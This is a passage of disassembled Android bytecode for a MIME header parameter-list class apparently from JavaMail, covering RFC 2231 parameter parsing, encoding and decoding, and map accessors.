000000C8 move-result v3
000000CA int-to-char v3, v3
000000CC const/16 v4, 0x3D
000000D0 if-eq v3, v4, :112
:D4
000000D4 new-instance v0, ParseException
000000D8 new-instance v1, StringBuilder
000000DC const-string v3, "Expected \'=\', got \""
000000E0 invoke-direct StringBuilder-><init>(String)V, v1, v3
000000E6 invoke-virtual HeaderTokenizer$Token->getValue()String, v2
000000EC move-result-object v2
000000EE invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000F4 move-result-object v1
000000F6 const-string v2, "\""
000000FA invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000100 move-result-object v1
00000102 invoke-virtual StringBuilder->toString()String, v1
00000108 move-result-object v1
0000010A invoke-direct ParseException-><init>(String)V, v0, v1
00000110 throw v0
:112
00000112 invoke-virtual HeaderTokenizer->next()HeaderTokenizer$Token, v1
00000118 move-result-object v2
0000011A invoke-virtual HeaderTokenizer$Token->getType()I, v2
00000120 move-result v3
00000122 if-eq v3, v5, :16A
:126
00000126 const/4 v4, 0xFFFFFFFFFFFFFFFE
00000128 if-eq v3, v4, :16A
:12C
0000012C new-instance v0, ParseException
00000130 new-instance v1, StringBuilder
00000134 const-string v3, "Expected parameter value, got \""
00000138 invoke-direct StringBuilder-><init>(String)V, v1, v3
0000013E invoke-virtual HeaderTokenizer$Token->getValue()String, v2
00000144 move-result-object v2
00000146 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000014C move-result-object v1
0000014E const-string v2, "\""
00000152 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000158 move-result-object v1
0000015A invoke-virtual StringBuilder->toString()String, v1
00000160 move-result-object v1
00000162 invoke-direct ParseException-><init>(String)V, v0, v1
00000168 throw v0
:16A
0000016A invoke-virtual HeaderTokenizer$Token->getValue()String, v2
00000170 move-result-object v2
00000172 iput-object v0, p0, ParameterList->lastName:String
00000176 sget-boolean v3, ParameterList->decodeParameters:Z
0000017A if-eqz v3, :188
:17E
0000017E invoke-direct ParameterList->putEncodedName(String, String)V, p0, v0, v2
00000184 goto/16 :18
:188
00000188 iget-object v3, p0, ParameterList->list:Map
0000018C invoke-interface Map->put(Object, Object)Object, v3, v0, v2
00000192 goto/16 :18
:196
00000196 sget-boolean v3, ParameterList->applehack:Z
0000019A if-eqz v3, :22E
:19E
0000019E if-ne v0, v5, :22E
:1A2
000001A2 iget-object v0, p0, ParameterList->lastName:String
000001A6 if-eqz v0, :22E
:1AA
000001AA iget-object v0, p0, ParameterList->lastName:String
000001AE const-string v3, "name"
000001B2 invoke-virtual String->equals(Object)Z, v0, v3
000001B8 move-result v0
000001BA if-nez v0, :1D2
:1BE
000001BE iget-object v0, p0, ParameterList->lastName:String
000001C2 const-string v3, "filename"
000001C6 invoke-virtual String->equals(Object)Z, v0, v3
000001CC move-result v0
000001CE if-eqz v0, :22E
:1D2
000001D2 iget-object v0, p0, ParameterList->list:Map
000001D6 iget-object v3, p0, ParameterList->lastName:String
000001DA invoke-interface Map->get(Object)Object, v0, v3
000001E0 move-result-object v0
000001E2 check-cast v0, String
000001E6 new-instance v3, StringBuilder
000001EA invoke-static String->valueOf(Object)String, v0
000001F0 move-result-object v0
000001F2 invoke-direct StringBuilder-><init>(String)V, v3, v0
000001F8 const-string v0, " "
000001FC invoke-virtual StringBuilder->append(String)StringBuilder, v3, v0
00000202 move-result-object v0
00000204 invoke-virtual HeaderTokenizer$Token->getValue()String, v2
0000020A move-result-object v2
0000020C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v2
00000212 move-result-object v0
00000214 invoke-virtual StringBuilder->toString()String, v0
0000021A move-result-object v0
0000021C iget-object v2, p0, ParameterList->list:Map
00000220 iget-object v3, p0, ParameterList->lastName:String
00000224 invoke-interface Map->put(Object, Object)Object, v2, v3, v0
0000022A goto/16 :18
:22E
0000022E new-instance v0, ParseException
00000232 new-instance v1, StringBuilder
00000236 const-string v3, "Expected \';\', got \""
0000023A invoke-direct StringBuilder-><init>(String)V, v1, v3
00000240 invoke-virtual HeaderTokenizer$Token->getValue()String, v2
00000246 move-result-object v2
00000248 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000024E move-result-object v1
00000250 const-string v2, "\""
00000254 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000025A move-result-object v1
0000025C invoke-virtual StringBuilder->toString()String, v1
00000262 move-result-object v1
00000264 invoke-direct ParseException-><init>(String)V, v0, v1
0000026A throw v0
.end method
.method static synthetic access$0(String)String
.registers 2
00000000 invoke-static ParameterList->quote(String)String, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method private combineMultisegmentNames(Z)V
.registers 14
00000000 const/4 v3, 0x0
:2
00000002 iget-object v0, p0, ParameterList->multisegmentNames:Set
00000006 invoke-interface Set->iterator()Iterator, v0
0000000C move-result-object v7
:E
0000000E invoke-interface Iterator->hasNext()Z, v7
:14
00000014 move-result v0
00000016 if-nez v0, :72
:1A
0000001A if-nez p1, :1E
:1E
0000001E iget-object v0, p0, ParameterList->slist:Map
00000022 invoke-interface Map->size()I, v0
00000028 move-result v0
0000002A if-lez v0, :5C
:2E
0000002E iget-object v0, p0, ParameterList->slist:Map
00000032 invoke-interface Map->values()Collection, v0
00000038 move-result-object v0
0000003A invoke-interface Collection->iterator()Iterator, v0
00000040 move-result-object v1
:42
00000042 invoke-interface Iterator->hasNext()Z, v1
00000048 move-result v0
0000004A if-nez v0, :26A
:4E
0000004E iget-object v0, p0, ParameterList->list:Map
00000052 iget-object v1, p0, ParameterList->slist:Map
00000056 invoke-interface Map->putAll(Map)V, v0, v1
:5C
0000005C iget-object v0, p0, ParameterList->multisegmentNames:Set
00000060 invoke-interface Set->clear()V, v0
00000066 iget-object v0, p0, ParameterList->slist:Map
0000006A invoke-interface Map->clear()V, v0
00000070 return-void
:72
00000072 invoke-interface Iterator->next()Object, v7
00000078 move-result-object v0
0000007A check-cast v0, String
0000007E new-instance v8, StringBuffer
00000082 invoke-direct StringBuffer-><init>()V, v8
00000088 new-instance v9, ParameterList$MultiValue
0000008C const/4 v1, 0x0
0000008E invoke-direct ParameterList$MultiValue-><init>(ParameterList$MultiValue)V, v9, v1
00000094 const/4 v1, 0x0
00000096 move v6, v1
00000098 move-object v5, v3
:9A
0000009A new-instance v1, StringBuilder
0000009E invoke-static String->valueOf(Object)String, v0
000000A4 move-result-object v2
000000A6 invoke-direct StringBuilder-><init>(String)V, v1, v2
000000AC const-string v2, "*"
000000B0 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000B6 move-result-object v1
000000B8 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v6
000000BE move-result-object v1
000000C0 invoke-virtual StringBuilder->toString()String, v1
000000C6 move-result-object v10
000000C8 iget-object v1, p0, ParameterList->slist:Map
000000CC invoke-interface Map->get(Object)Object, v1, v10
000000D2 move-result-object v1
000000D4 if-nez v1, :F2
:D8
000000D8 if-nez v6, :1C8
:DC
000000DC iget-object v1, p0, ParameterList->list:Map
000000E0 invoke-interface Map->remove(Object)Object, v1, v0
:E6
000000E6 goto :E
:E8
000000E8 move-exception v0
000000EA move-object v1, v0
000000EC if-nez p1, :1E2
:F0
000000F0 throw v1
:F2
000000F2 invoke-virtual ParameterList$MultiValue->add(Object)Z, v9, v1
000000F8 instance-of v2, v1, ParameterList$Value
:FC
000000FC if-eqz v2, :1C0
:100
00000100 check-cast v1, ParameterList$Value
00000104 iget-object v2, v1, ParameterList$Value->encodedValue:String
:108
00000108 if-nez v6, :140
:10C
0000010C invoke-static ParameterList->decodeValue(String)ParameterList$Value, v2
00000112 move-result-object v11
00000114 iget-object v4, v11, ParameterList$Value->charset:String
00000118 iput-object v4, v1, ParameterList$Value->charset:String
:11C
0000011C iget-object v5, v11, ParameterList$Value->value:String
00000120 iput-object v5, v1, ParameterList$Value->value:String
:124
00000124 move-object v2, v5
00000126 move-object v5, v4
:128
00000128 invoke-virtual StringBuffer->append(String)StringBuffer, v8, v2
0000012E iget-object v1, p0, ParameterList->slist:Map
00000132 invoke-interface Map->remove(Object)Object, v1, v10
:138
00000138 add-int/lit8 v1, v6, 0x1
0000013C move v6, v1
0000013E goto :9A
:140
00000140 if-nez v5, :170
:144
00000144 iget-object v1, p0, ParameterList->multisegmentNames:Set
00000148 invoke-interface Set->remove(Object)Z, v1, v0
:14E
0000014E goto :D8
:150
00000150 move-exception v1
00000152 move-object v4, v5
:154
00000154 sget-boolean v5, ParameterList->decodeParametersStrict:Z
00000158 if-eqz v5, :2C8
:15C
0000015C new-instance v0, ParseException
00000160 invoke-virtual NumberFormatException->toString()String, v1
00000166 move-result-object v1
00000168 invoke-direct ParseException-><init>(String)V, v0, v1
0000016E throw v0
:170
00000170 invoke-static ParameterList->decodeBytes(String, String)String, v2, v5
00000176 move-result-object v4
00000178 iput-object v4, v1, ParameterList$Value->value:String
:17C
0000017C move-object v2, v4
0000017E goto :128
:180
00000180 move-exception v1
00000182 move-object v5, v4
:184
00000184 sget-boolean v4, ParameterList->decodeParametersStrict:Z
00000188 if-eqz v4, :128
:18C
0000018C new-instance v0, ParseException
00000190 invoke-virtual UnsupportedEncodingException->toString()String, v1
00000196 move-result-object v1
00000198 invoke-direct ParseException-><init>(String)V, v0, v1
0000019E throw v0
:1A0
000001A0 move-exception v1
000001A2 move-object v5, v4
:1A4
000001A4 sget-boolean v4, ParameterList->decodeParametersStrict:Z
000001A8 if-eqz v4, :128
:1AC
000001AC new-instance v0, ParseException
000001B0 invoke-virtual StringIndexOutOfBoundsException->toString()String, v1
000001B6 move-result-object v1
000001B8 invoke-direct ParseException-><init>(String)V, v0, v1
000001BE throw v0
:1C0
000001C0 check-cast v1, String
000001C4 move-object v2, v1
000001C6 goto :128
:1C8
000001C8 invoke-virtual StringBuffer->toString()String, v8
000001CE move-result-object v1
000001D0 iput-object v1, v9, ParameterList$MultiValue->value:String
000001D4 iget-object v1, p0, ParameterList->list:Map
000001D8 invoke-interface Map->put(Object, Object)Object, v1, v0, v9
:1DE
000001DE goto/16 :E
:1E2
000001E2 iget-object v0, p0, ParameterList->slist:Map
000001E6 invoke-interface Map->size()I, v0
000001EC move-result v0
000001EE if-lez v0, :220
:1F2
000001F2 iget-object v0, p0, ParameterList->slist:Map
000001F6 invoke-interface Map->values()Collection, v0
000001FC move-result-object v0
000001FE invoke-interface Collection->iterator()Iterator, v0
00000204 move-result-object v2
:206
00000206 invoke-interface Iterator->hasNext()Z, v2
0000020C move-result v0
0000020E if-nez v0, :238
:212
00000212 iget-object v0, p0, ParameterList->list:Map
00000216 iget-object v2, p0, ParameterList->slist:Map
0000021A invoke-interface Map->putAll(Map)V, v0, v2
:220
00000220 iget-object v0, p0, ParameterList->multisegmentNames:Set
00000224 invoke-interface Set->clear()V, v0
0000022A iget-object v0, p0, ParameterList->slist:Map
0000022E invoke-interface Map->clear()V, v0
00000234 goto/16 :F0
:238
00000238 invoke-interface Iterator->next()Object, v2
0000023E move-result-object v0
00000240 instance-of v3, v0, ParameterList$Value
00000244 if-eqz v3, :206
:248
00000248 check-cast v0, ParameterList$Value
0000024C iget-object v3, v0, ParameterList$Value->encodedValue:String
00000250 invoke-static ParameterList->decodeValue(String)ParameterList$Value, v3
00000256 move-result-object v3
00000258 iget-object v4, v3, ParameterList$Value->charset:String
0000025C iput-object v4, v0, ParameterList$Value->charset:String
00000260 iget-object v3, v3, ParameterList$Value->value:String
00000264 iput-object v3, v0, ParameterList$Value->value:String
00000268 goto :206
:26A
0000026A invoke-interface Iterator->next()Object, v1
00000270 move-result-object v0
00000272 instance-of v2, v0, ParameterList$Value
00000276 if-eqz v2, :42
:27A
0000027A check-cast v0, ParameterList$Value
0000027E iget-object v2, v0, ParameterList$Value->encodedValue:String
00000282 invoke-static ParameterList->decodeValue(String)ParameterList$Value, v2
00000288 move-result-object v2
0000028A iget-object v3, v2, ParameterList$Value->charset:String
0000028E iput-object v3, v0, ParameterList$Value->charset:String
00000292 iget-object v2, v2, ParameterList$Value->value:String
00000296 iput-object v2, v0, ParameterList$Value->value:String
0000029A goto/16 :42
:29E
0000029E move-exception v1
000002A0 move-object v2, v3
000002A2 goto :1A4
:2A4
000002A4 move-exception v1
000002A6 goto/16 :1A4
:2AA
000002AA move-exception v1
000002AC move-object v2, v3
000002AE goto/16 :184
:2B2
000002B2 move-exception v1
000002B4 goto/16 :184
:2B8
000002B8 move-exception v1
000002BA goto/16 :154
:2BE
000002BE move-exception v1
000002C0 move-object v2, v3
000002C2 move-object v4, v5
000002C4 goto/16 :154
:2C8
000002C8 move-object v5, v4
000002CA goto/16 :128
.catchall {:2 .. :14} :E8
.catchall {:72 .. :E6} :E8
.catchall {:F2 .. :FC} :E8
.catch NumberFormatException {:100 .. :108} :2BE
.catch UnsupportedEncodingException {:100 .. :108} :2AA
.catch StringIndexOutOfBoundsException {:100 .. :108} :29E
.catchall {:100 .. :108} :E8
.catch NumberFormatException {:10C .. :11C} :150
.catch UnsupportedEncodingException {:10C .. :11C} :2B2
.catch StringIndexOutOfBoundsException {:10C .. :11C} :2A4
.catchall {:10C .. :11C} :E8
.catch NumberFormatException {:11C .. :124} :2B8
.catch UnsupportedEncodingException {:11C .. :124} :180
.catch StringIndexOutOfBoundsException {:11C .. :124} :1A0
.catchall {:11C .. :124} :E8
.catchall {:128 .. :138} :E8
.catch NumberFormatException {:144 .. :14E} :150
.catch UnsupportedEncodingException {:144 .. :14E} :2B2
.catch StringIndexOutOfBoundsException {:144 .. :14E} :2A4
.catchall {:144 .. :14E} :E8
.catchall {:154 .. :170} :E8
.catch NumberFormatException {:170 .. :17C} :150
.catch UnsupportedEncodingException {:170 .. :17C} :2B2
.catch StringIndexOutOfBoundsException {:170 .. :17C} :2A4
.catchall {:170 .. :17C} :E8
.catchall {:184 .. :1DE} :E8
.end method
.method private static decodeBytes(String, String)String
.registers 9
00000000 const/4 v1, 0x0
00000002 invoke-virtual String->length()I, p0
00000008 move-result v0
0000000A new-array v5, v0, [B
0000000E move v0, v1
00000010 move v2, v1
:12
00000012 invoke-virtual String->length()I, p0
00000018 move-result v3
0000001A if-lt v2, v3, :32
:1E
0000001E new-instance v2, String
00000022 invoke-static MimeUtility->javaCharset(String)String, p1
00000028 move-result-object v3
0000002A invoke-direct String-><init>([B, I, I, String)V, v2, v5, v1, v0, v3
00000030 return-object v2
:32
00000032 invoke-virtual String->charAt(I)C, p0, v2
00000038 move-result v3
0000003A const/16 v4, 0x25
0000003E if-ne v3, v4, :7C
:42
00000042 add-int/lit8 v3, v2, 0x1
00000046 add-int/lit8 v4, v2, 0x3
0000004A invoke-virtual String->substring(I, I)String, p0, v3, v4
00000050 move-result-object v3
00000052 const/16 v4, 0x10
00000056 invoke-static Integer->parseInt(String, I)I, v3, v4
0000005C move-result v3
0000005E int-to-char v3, v3
00000060 add-int/lit8 v2, v2, 0x2
00000064 move v4, v2
:66
00000066 add-int/lit8 v2, v0, 0x1
0000006A int-to-byte v3, v3
0000006C aput-byte v3, v5, v0
00000070 add-int/lit8 v0, v4, 0x1
00000074 move v6, v2
00000076 move v2, v0
00000078 move v0, v6
0000007A goto :12
:7C
0000007C move v4, v2
0000007E goto :66
.end method
.method private static decodeValue(String)ParameterList$Value
.registers 6
00000000 new-instance v0, ParameterList$Value
00000004 const/4 v1, 0x0
00000006 invoke-direct ParameterList$Value-><init>(ParameterList$Value)V, v0, v1
0000000C iput-object p0, v0, ParameterList$Value->encodedValue:String
00000010 iput-object p0, v0, ParameterList$Value->value:String
00000014 const/16 v1, 0x27
:18
00000018 invoke-virtual String->indexOf(I)I, p0, v1
0000001E move-result v1
00000020 if-gtz v1, :74
:24
00000024 sget-boolean v1, ParameterList->decodeParametersStrict:Z
00000028 if-eqz v1, :108
:2C
0000002C new-instance v1, ParseException
00000030 new-instance v2, StringBuilder
00000034 const-string v3, "Missing charset in encoded value: "
00000038 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000003E invoke-virtual StringBuilder->append(String)StringBuilder, v2, p0
00000044 move-result-object v2
00000046 invoke-virtual StringBuilder->toString()String, v2
0000004C move-result-object v2
0000004E invoke-direct ParseException-><init>(String)V, v1, v2
00000054 throw v1
:56
00000056 move-exception v1
00000058 sget-boolean v2, ParameterList->decodeParametersStrict:Z
0000005C if-eqz v2, :108
:60
00000060 new-instance v0, ParseException
00000064 invoke-virtual NumberFormatException->toString()String, v1
0000006A move-result-object v1
0000006C invoke-direct ParseException-><init>(String)V, v0, v1
00000072 throw v0
:74
00000074 const/4 v2, 0x0
:76
00000076 invoke-virtual String->substring(I, I)String, p0, v2, v1
0000007C move-result-object v2
0000007E const/16 v3, 0x27
00000082 add-int/lit8 v4, v1, 0x1
00000086 invoke-virtual String->indexOf(I, I)I, p0, v3, v4
0000008C move-result v3
0000008E if-gez v3, :E2
:92
00000092 sget-boolean v1, ParameterList->decodeParametersStrict:Z
00000096 if-eqz v1, :108
:9A
0000009A new-instance v1, ParseException
0000009E new-instance v2, StringBuilder
000000A2 const-string v3, "Missing language in encoded value: "
000000A6 invoke-direct StringBuilder-><init>(String)V, v2, v3
000000AC invoke-virtual StringBuilder->append(String)StringBuilder, v2, p0
000000B2 move-result-object v2
000000B4 invoke-virtual StringBuilder->toString()String, v2
000000BA move-result-object v2
000000BC invoke-direct ParseException-><init>(String)V, v1, v2
000000C2 throw v1
:C4
000000C4 move-exception v1
000000C6 sget-boolean v2, ParameterList->decodeParametersStrict:Z
000000CA if-eqz v2, :108
:CE
000000CE new-instance v0, ParseException
000000D2 invoke-virtual UnsupportedEncodingException->toString()String, v1
000000D8 move-result-object v1
000000DA invoke-direct ParseException-><init>(String)V, v0, v1
000000E0 throw v0
:E2
000000E2 add-int/lit8 v1, v1, 0x1
:E6
000000E6 invoke-virtual String->substring(I, I)String, p0, v1, v3
000000EC add-int/lit8 v1, v3, 0x1
000000F0 invoke-virtual String->substring(I)String, p0, v1
000000F6 move-result-object v1
000000F8 iput-object v2, v0, ParameterList$Value->charset:String
000000FC invoke-static ParameterList->decodeBytes(String, String)String, v1, v2
00000102 move-result-object v1
00000104 iput-object v1, v0, ParameterList$Value->value:String
:108
00000108 return-object v0
:10A
0000010A move-exception v1
0000010C sget-boolean v2, ParameterList->decodeParametersStrict:Z
00000110 if-eqz v2, :108
:114
00000114 new-instance v0, ParseException
00000118 invoke-virtual StringIndexOutOfBoundsException->toString()String, v1
0000011E move-result-object v1
00000120 invoke-direct ParseException-><init>(String)V, v0, v1
00000126 throw v0
.catch NumberFormatException {:18 .. :56} :56
.catch UnsupportedEncodingException {:18 .. :56} :C4
.catch StringIndexOutOfBoundsException {:18 .. :56} :10A
.catch NumberFormatException {:76 .. :C4} :56
.catch UnsupportedEncodingException {:76 .. :C4} :C4
.catch StringIndexOutOfBoundsException {:76 .. :C4} :10A
.catch NumberFormatException {:E6 .. :108} :56
.catch UnsupportedEncodingException {:E6 .. :108} :C4
.catch StringIndexOutOfBoundsException {:E6 .. :108} :10A
.end method
.method private static encodeValue(String, String)ParameterList$Value
.registers 11
00000000 const/16 v8, 0x25
00000004 const/4 v1, 0x0
00000006 invoke-static MimeUtility->checkAscii(String)I, p0
0000000C move-result v0
0000000E const/4 v2, 0x1
00000010 if-ne v0, v2, :18
:14
00000014 move-object v0, v1
:16
00000016 return-object v0
:18
00000018 invoke-static MimeUtility->javaCharset(String)String, p1
0000001E move-result-object v0
00000020 invoke-virtual String->getBytes(String)[B, p0, v0
:26
00000026 move-result-object v2
00000028 new-instance v3, StringBuffer
0000002C array-length v0, v2
0000002E invoke-virtual String->length()I, p1
00000034 move-result v4
00000036 add-int/2addr v0, v4
00000038 add-int/lit8 v0, v0, 0x2
0000003C invoke-direct StringBuffer-><init>(I)V, v3, v0
00000042 invoke-virtual StringBuffer->append(String)StringBuffer, v3, p1
00000048 move-result-object v0
0000004A const-string v4, "\'\'"
0000004E invoke-virtual StringBuffer->append(String)StringBuffer, v0, v4
00000054 const/4 v0, 0x0
:56
00000056 array-length v4, v2
00000058 if-lt v0, v4, :82
:5C
0000005C new-instance v0, ParameterList$Value
00000060 invoke-direct ParameterList$Value-><init>(ParameterList$Value)V, v0, v1
00000066 iput-object p1, v0, ParameterList$Value->charset:String
0000006A iput-object p0, v0, ParameterList$Value->value:String
0000006E invoke-virtual StringBuffer->toString()String, v3
00000074 move-result-object v1
00000076 iput-object v1, v0, ParameterList$Value->encodedValue:String
0000007A goto :16
:7C
0000007C move-exception v0
0000007E move-object v0, v1
00000080 goto :16
:82
00000082 aget-byte v4, v2, v0
00000086 and-int/lit16 v4, v4, 0xFF
0000008A int-to-char v4, v4
0000008C const/16 v5, 0x20
00000090 if-le v4, v5, :C0
:94
00000094 const/16 v5, 0x7F
00000098 if-ge v4, v5, :C0
:9C
0000009C const/16 v5, 0x2A
000000A0 if-eq v4, v5, :C0
:A4
000000A4 const/16 v5, 0x27
000000A8 if-eq v4, v5, :C0
:AC
000000AC if-eq v4, v8, :C0
:B0
000000B0 const-string v5, "()<>@,;:\\\"\t []/?="
000000B4 invoke-virtual String->indexOf(I)I, v5, v4
000000BA move-result v5
000000BC if-ltz v5, :F4
:C0
000000C0 invoke-virtual StringBuffer->append(C)StringBuffer, v3, v8
000000C6 move-result-object v5
000000C8 sget-object v6, ParameterList->hex:[C
000000CC shr-int/lit8 v7, v4, 0x4
000000D0 aget-char v6, v6, v7
000000D4 invoke-virtual StringBuffer->append(C)StringBuffer, v5, v6
000000DA move-result-object v5
000000DC sget-object v6, ParameterList->hex:[C
000000E0 and-int/lit8 v4, v4, 0xF
000000E4 aget-char v4, v6, v4
000000E8 invoke-virtual StringBuffer->append(C)StringBuffer, v5, v4
:EE
000000EE add-int/lit8 v0, v0, 0x1
000000F2 goto :56
:F4
000000F4 invoke-virtual StringBuffer->append(C)StringBuffer, v3, v4
000000FA goto :EE
.catch UnsupportedEncodingException {:18 .. :26} :7C
.end method
.method private putEncodedName(String, String)V
.registers 7
00000000 const/4 v3, 0x0
00000002 const/16 v0, 0x2A
00000006 invoke-virtual String->indexOf(I)I, p1, v0
0000000C move-result v0
0000000E if-gez v0, :1E
:12
00000012 iget-object v0, p0, ParameterList->list:Map
00000016 invoke-interface Map->put(Object, Object)Object, v0, p1, p2
:1C
0000001C return-void
:1E
0000001E invoke-virtual String->length()I, p1
00000024 move-result v1
00000026 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000002A if-ne v0, v1, :4A
:2E
0000002E invoke-virtual String->substring(I, I)String, p1, v3, v0
00000034 move-result-object v0
00000036 iget-object v1, p0, ParameterList->list:Map
0000003A invoke-static ParameterList->decodeValue(String)ParameterList$Value, p2
00000040 move-result-object v2
00000042 invoke-interface Map->put(Object, Object)Object, v1, v0, v2
00000048 goto :1C
:4A
0000004A invoke-virtual String->substring(I, I)String, p1, v3, v0
00000050 move-result-object v0
00000052 iget-object v1, p0, ParameterList->multisegmentNames:Set
00000056 invoke-interface Set->add(Object)Z, v1, v0
0000005C iget-object v1, p0, ParameterList->list:Map
00000060 const-string v2, ""
00000064 invoke-interface Map->put(Object, Object)Object, v1, v0, v2
0000006A const-string v0, "*"
0000006E invoke-virtual String->endsWith(String)Z, p1, v0
00000074 move-result v0
00000076 if-eqz v0, :BA
:7A
0000007A new-instance v1, ParameterList$Value
0000007E const/4 v0, 0x0
00000080 invoke-direct ParameterList$Value-><init>(ParameterList$Value)V, v1, v0
00000086 move-object v0, v1
00000088 check-cast v0, ParameterList$Value
0000008C iput-object p2, v0, ParameterList$Value->encodedValue:String
00000090 move-object v0, v1
00000092 check-cast v0, ParameterList$Value
00000096 iput-object p2, v0, ParameterList$Value->value:String
0000009A invoke-virtual String->length()I, p1
000000A0 move-result v0
000000A2 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
000000A6 invoke-virtual String->substring(I, I)String, p1, v3, v0
000000AC move-result-object p1
:AE
000000AE iget-object v0, p0, ParameterList->slist:Map
000000B2 invoke-interface Map->put(Object, Object)Object, v0, p1, v1
000000B8 goto :1C
:BA
000000BA move-object v1, p2
000000BC goto :AE
.end method
.method private static quote(String)String
.registers 2
00000000 const-string v0, "()<>@,;:\\\"\t []/?="
00000004 invoke-static MimeUtility->quote(String, String)String, p0, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public get(String)String
.registers 5
00000000 iget-object v0, p0, ParameterList->list:Map
00000004 invoke-virtual String->trim()String, p1
0000000A move-result-object v1
0000000C sget-object v2, Locale->ENGLISH:Locale
00000010 invoke-virtual String->toLowerCase(Locale)String, v1, v2
00000016 move-result-object v1
00000018 invoke-interface Map->get(Object)Object, v0, v1
0000001E move-result-object v0
00000020 instance-of v1, v0, ParameterList$MultiValue
00000024 if-eqz v1, :32
:28
00000028 check-cast v0, ParameterList$MultiValue
0000002C iget-object v0, v0, ParameterList$MultiValue->value:String
:30
00000030 return-object v0
:32
00000032 instance-of v1, v0, ParameterList$Value
00000036 if-eqz v1, :44
:3A
0000003A check-cast v0, ParameterList$Value
0000003E iget-object v0, v0, ParameterList$Value->value:String
00000042 goto :30
:44
00000044 check-cast v0, String
00000048 goto :30
.end method
.method public getNames()Enumeration
.registers 3
00000000 new-instance v0, ParameterList$ParamEnum
00000004 iget-object v1, p0, ParameterList->list:Map
00000008 invoke-interface Map->keySet()Set, v1
0000000E move-result-object v1
00000010 invoke-interface Set->iterator()Iterator, v1
00000016 move-result-object v1
00000018 invoke-direct ParameterList$ParamEnum-><init>(Iterator)V, v0, v1
0000001E return-object v0
.end method
.method public remove(String)V
.registers 5
00000000 iget-object v0, p0, ParameterList->list:Map
00000004 invoke-virtual String->trim()String, p1
0000000A move-result-object v1
0000000C sget-object v2, Locale->ENGLISH:Locale
00000010 invoke-virtual String->toLowerCase(Locale)String, v1, v2
00000016 move-result-object v1
00000018 invoke-interface Map->remove(Object)Object, v0, v1
0000001E return-void
.end method
.method public set(String, String)V
.registers 5
00000000 if-nez p1, :3A
:4
00000004 if-eqz p2, :3A
:8
00000008 const-string v0, "DONE"
0000000C invoke-virtual String->equals(Object)Z, p2, v0
00000012 move-result v0
00000014 if-eqz v0, :3A
:18
00000018 sget-boolean v0, ParameterList->decodeParameters:Z
0000001C if-eqz v0, :38
:20
00000020 iget-object v0, p0, ParameterList->multisegmentNames:Set
00000024 invoke-interface Set->size()I, v0
0000002A move-result v0
0000002C if-lez v0, :38
:30
00000030 const/4 v0, 0x1
:32
00000032 invoke-direct ParameterList->combineMultisegmentNames(Z)V, p0, v0
:38
00000038 return-void
:3A
0000003A invoke-virtual String->trim()String, p1
00000040 move-result-object v0
00000042 sget-object v1, Locale->ENGLISH:Locale
00000046 invoke-virtual String->toLowerCase(Locale)String, v0, v1
0000004C move-result-object v0
0000004E sget-boolean v1, ParameterList->decodeParameters:Z
00000052 if-eqz v1, :6C
:56
00000056 invoke-direct ParameterList->putEncodedName(String, String)V, p0, v0, p2
:5C
0000005C goto :38
:5E
0000005E move-exception v1
00000060 iget-object v1, p0, ParameterList->list:Map
00000064 invoke-interface Map->put(Object, Object)Object, v1, v0, p2
0000006A goto :38
:6C
0000006C iget-object v1, p0, ParameterList->list:Map
00000070 invoke-interface Map->put(Object, Object)Object, v1, v0, p2
00000076 goto :38
:78
00000078 move-exception v0
0000007A goto :38
.catch ParseException {:32 .. :38} :78
.catch ParseException {:56 .. :5C} :5E
.end method
.method public set(String, String, String)V
.registers 8
00000000 sget-boolean v0, ParameterList->encodeParameters:Z
00000004 if-eqz v0, :3C
:8
00000008 invoke-static ParameterList->encodeValue(String, String)ParameterList$Value, p2, p3
0000000E move-result-object v0
00000010 if-eqz v0, :34
:14
00000014 iget-object v1, p0, ParameterList->list:Map
00000018 invoke-virtual String->trim()String, p1
0000001E move-result-object v2
00000020 sget-object v3, Locale->ENGLISH:Locale
00000024 invoke-virtual String->toLowerCase(Locale)String, v2, v3
0000002A move-result-object v2
0000002C invoke-interface Map->put(Object, Object)Object, v1, v2, v0
:32
00000032 return-void
:34
00000034 invoke-virtual ParameterList->set(String, String)V, p0, p1, p2
0000003A goto :32
:3C
0000003C invoke-virtual ParameterList->set(String, String)V, p0, p1, p2
00000042 goto :32
.end method
.method public size()I
.registers 2
00000000 iget-object v0, p0, ParameterList->list:Map
00000004 invoke-interface Map->size()I, v0
0000000A move-result v0
0000000C return v0
.end method
.method public toString()String
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-virtual ParameterList->toString(I)String, p0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public toString(I)String
.registers 10
00000000 new-instance v3, ParameterList$ToStringBuffer
00000004 invoke-direct ParameterList$ToStringBuffer-><init>(I)V, v3, p1
0000000A iget-object v0, p0, ParameterList->list:Map
0000000E invoke-interface Map->keySet()Set, v0
00000014 move-result-object v0
00000016 invoke-interface Set->iterator()Iterator, v0
0000001C move-result-object v4
:1E
0000001E invoke-interface Iterator->hasNext()Z, v4
00000024 move-result v0
00000026 if-nez v0, :34
:2A
0000002A invoke-virtual ParameterList$ToStringBuffer->toString()String, v3
00000030 move-result-object v0
00000032 return-object v0
:34
00000034 invoke-interface Iterator->next()Object, v4
0000003A move-result-object v0
0000003C check-cast v0, String
00000040 iget-object v1, p0, ParameterList->list:Map
00000044 invoke-interface Map->get(Object)Object, v1, v0
0000004A move-result-object v1
0000004C instance-of v2, v1, ParameterList$MultiValue
00000050 if-eqz v2, :110
:54
00000054 check-cast v1, ParameterList$MultiValue
00000058 new-instance v2, StringBuilder
0000005C invoke-static String->valueOf(Object)String, v0
00000062 move-result-object v0
00000064 invoke-direct StringBuilder-><init>(String)V, v2, v0
0000006A const-string v0, "*"
0000006E invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
00000074 move-result-object v0
